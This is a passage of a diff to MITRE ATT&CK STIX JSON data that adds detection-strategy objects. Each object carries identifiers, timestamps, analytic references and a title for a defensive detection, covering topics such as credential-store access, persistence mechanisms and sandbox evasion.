"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0029", + "external_id": "DET0029" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Persistence via Outlook Custom Forms Triggered by Malicious Email", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--48cc1694-568f-4602-96e4-cbbe099c6dae", + "x-mitre-analytic--73ec21b3-5679-44a9-bac3-943060bed786" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e55f4e4b-80c0-4a2b-8202-659d29bbba33", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0177", + "external_id": "DET0177" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Persistence via Outlook Home Page Exploitation", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--5ce49e4b-a67f-46ea-b48d-f08f7b942fb4", + "x-mitre-analytic--616755c6-e83d-46ce-ad76-ac706074a575" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--8febbfe8-91ae-4625-8fc7-656639b90a11", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0365", + "external_id": "DET0365" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Registry and Startup Folder Persistence (Windows)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e863e865-8ecc-47ce-b736-eec54b6399d6" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--4a11abbc-9637-4d2e-a8ac-39fef2c0256d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0159", + "external_id": "DET0159" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Remote Access via USB Hardware (TinyPilot, PiKVM)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e1e76ffd-b452-429e-8ea0-a25ba877a2b5", + "x-mitre-analytic--04e9470e-676f-4af0-add4-8103300ebd19", + "x-mitre-analytic--fc3e13fd-cbee-4bb0-aae7-ce1e8af7d768" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--00a515dc-e3be-4349-9c61-65a5c0ce815d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0048", + "external_id": "DET0048" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Remote Email Collection via Abnormal Login and Programmatic Access", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c42179a8-71c5-41ba-bbfa-d6c1a93e729b", + "x-mitre-analytic--3af413c2-5b26-4f43-b198-11b4dce97a0a" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a9de0990-69e9-4b1a-9754-1c7fb4102ac9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0346", + "external_id": "DET0346" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Screen Capture via Commands and API Calls", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--20e00aff-6389-4c8a-8e38-3b63924e1612", + "x-mitre-analytic--5f1a4795-74e5-49b9-85bb-e186ca699648", + "x-mitre-analytic--121a5310-3157-47b1-925e-998767c0ec06" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d3a3919f-2f04-49f4-808e-1f88538ee02b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0154", + "external_id": "DET0154" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Screensaver-Based Persistence via Registry and Execution Chains", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--86dbac4c-1cba-4056-84a1-604eefbb11ac" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f09870f8-77d4-4b58-8bda-2b3f2e29c897", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0020", + "external_id": "DET0020" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Shell Configuration Modification for Persistence via Event-Triggered Execution", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--3ae99176-ce61-4598-834b-f48d13802dcb", + "x-mitre-analytic--6acf01f9-723e-499b-8774-3fa689a36ded" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--73cde34a-247f-4ebc-87a5-ab6a9c400f40", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0452", + "external_id": "DET0452" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Subversion of Trust Controls via Certificate, Registry, and Attribute Manipulation", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--35b0b263-f85d-4e6a-8bcb-5e2c1a9da080", + "x-mitre-analytic--06ec22c9-b32f-49bc-81cc-ed5cee622493", + "x-mitre-analytic--94340be7-068e-446a-bca2-d414b66912fc" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--90123c20-ff3d-4034-9a5f-905444bb0311", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0037", + "external_id": "DET0037" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Suspicious Access to Browser Credential Stores", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c4eb93f1-0288-4884-bdbc-800e7a8e87c3", + "x-mitre-analytic--e11709c9-0203-4f76-bbfb-379ed36723ce", + "x-mitre-analytic--1a068df0-67d4-4521-aeda-75fa8e9f8d98" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--84b5d372-eedb-4b69-bf78-9d4815e2b2b7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0549", + "external_id": "DET0549" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Suspicious Access to Private Key Files and Export Attempts Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--eb569d45-a5b6-47df-a098-bdb26ef0597f", + "x-mitre-analytic--3577f79d-0891-451b-a861-1a03a3688a93", + "x-mitre-analytic--d7a9c7c8-81a0-4988-9617-51f191ab32c8", + "x-mitre-analytic--57a547e1-1086-427c-9ea8-59059dec1938" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--119f2b00-82ac-41fb-96ac-728bf56a8a29", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0134", + "external_id": "DET0134" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Suspicious Access to Windows Credential Manager", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--207b58a9-7e3b-41ca-bb5a-c66b24210a83" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f07cfa67-8a83-4a62-ae18-bee29bfc7569", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0057", + "external_id": "DET0057" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Suspicious Access to securityd Memory for Credential Extraction", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--94628b16-2443-4e66-9f7b-a61a39012a9c", + "x-mitre-analytic--9e0af3ac-dfeb-48c3-8d15-5f9edd69be69" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--01cc085c-7d7d-49fc-9d15-bc5b2226026a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0230", + "external_id": "DET0230" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Suspicious or Malicious Code Signing Abuse", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--b5d77678-fff4-41cd-9e77-d3f82243240a", + "x-mitre-analytic--969bd6a3-b89f-4279-9bd2-3fc461880308" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--90b6ef43-3f63-47c5-af59-ed4f95cc9c87", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0141", + "external_id": "DET0141" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Time-Based Evasion via Sleep, Timer Loops, and Delayed Execution", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--10c89810-d298-42d6-80dd-1228e737e33f", + "x-mitre-analytic--2bbe41df-b8a6-4503-8fb0-028b7387cb1d", + "x-mitre-analytic--fbbe7372-5d33-4181-a68a-e68f5da94df7" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f69d3378-a034-4709-9778-6efd2269e097", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0130", + "external_id": "DET0130" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Unauthorized Access to Cloud Secrets Management Stores", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--90eca5d7-c330-4b86-bde6-de04019cbba7" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a5600691-be46-424a-b8ef-a2c9159da49a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0597", + "external_id": "DET0597" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Unauthorized Access to Password Managers", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--18ab8a54-68bc-4d43-884d-2b9284eb723e", + "x-mitre-analytic--93fd8592-d8ce-4b5e-b095-71cd66062298", + "x-mitre-analytic--de1d4807-fcb5-4112-b310-ea0c4df45af2" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a9b4dd72-07f2-4fd5-b46b-2fe9f6945f14", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0111", + "external_id": "DET0111" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Unsecured Credentials Shared in Chat Messages", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--631da3e4-5ecd-4dc9-966a-1c2633f8f24c", + "x-mitre-analytic--bafd38ad-aebd-40f1-9f17-bd63a1c74ba9" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--8d30c115-84f7-4fcc-ba22-96cb092d8114", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0074", + "external_id": "DET0074" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Use of Stolen Web Session Cookies Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--8d43ac43-de80-4815-b992-6f49519ed340", + "x-mitre-analytic--32ace35c-66c4-48d7-a8bc-d81c65f4451b", + "x-mitre-analytic--126cff4b-4ba7-4464-bfc8-4daabed5e05b" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--5463d676-c300-4ab8-9980-d3ed37ac4723", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0420", + "external_id": "DET0420" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect User Activity Based Sandbox Evasion via Input & Artifact Probing", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--5bd6658f-4391-4d77-bed8-9b141b0fa3ae", + "x-mitre-analytic--21773356-1c94-4edc-b368-008c86a5929e", + "x-mitre-analytic--e3a0ea8d-0018-4603-912a-4d40d0f75390" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--99e60eb7-f2fa-4423-8c51-29832cd6e7ef", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0086", + "external_id": "DET0086" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect WMI Event Subscription for Persistence via WmiPrvSE Process and MOF Compilation", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--1a0640f0-e286-405f-9ab3-507c1abb77da" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--63135c50-7c7a-4a44-a053-28abd2388f21", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0404", + "external_id": "DET0404" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Winlogon Helper DLL Abuse via Registry and Process Artifacts on Windows", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e8569cdc-a018-4eee-95d9-5979cebae519" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--4994627c-216b-4832-90cf-074d3e9013e4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0205", + "external_id": "DET0205" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect XSL Script Abuse via msxsl and wmic", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f313053f-5898-4f47-b263-a60098f5c963" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--2f7a5ebd-e025-4822-aed2-46fc3ec1a0a9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0488", + "external_id": "DET0488" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect abuse of Trusted Relationships (third-party and delegated admin access)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--46630fc8-75de-4b73-b46e-0a4eeb7ad310", + "x-mitre-analytic--e19cbf11-fabf-4dfd-aeb2-1c62660ebd8f", + "x-mitre-analytic--7c28e2f5-c944-4974-810f-81bcfdc8b6cc", + "x-mitre-analytic--f0e2baa2-3bb7-4587-8eae-6abddd1cf140", + "x-mitre-analytic--c526f8c1-95ec-494f-b7bf-49a95a803f2a", + "x-mitre-analytic--4766bdc0-047a-4250-93c1-6d907178620e", + "x-mitre-analytic--b5985d46-1d54-4a6d-81c8-0b577b5d8d17" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--de9fde27-426b-4cb1-afcd-dbe1f7d4273f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0098", + "external_id": "DET0098" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect abuse of Windows BITS Jobs for download, execution and persistence", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--6fba9520-c6ce-4a8f-8005-d33546a10406" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--759a29fb-8697-46f7-baa3-a891b28c064e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0507", + "external_id": "DET0507" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect browser session hijacking via privilege, handle access, and remote thread into browsers", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c3629243-7cd6-4e56-9275-73f5752f0f08" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--cfedfc6c-6e31-481b-be1e-e23a760fec44", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0187", + "external_id": "DET0187" + } + 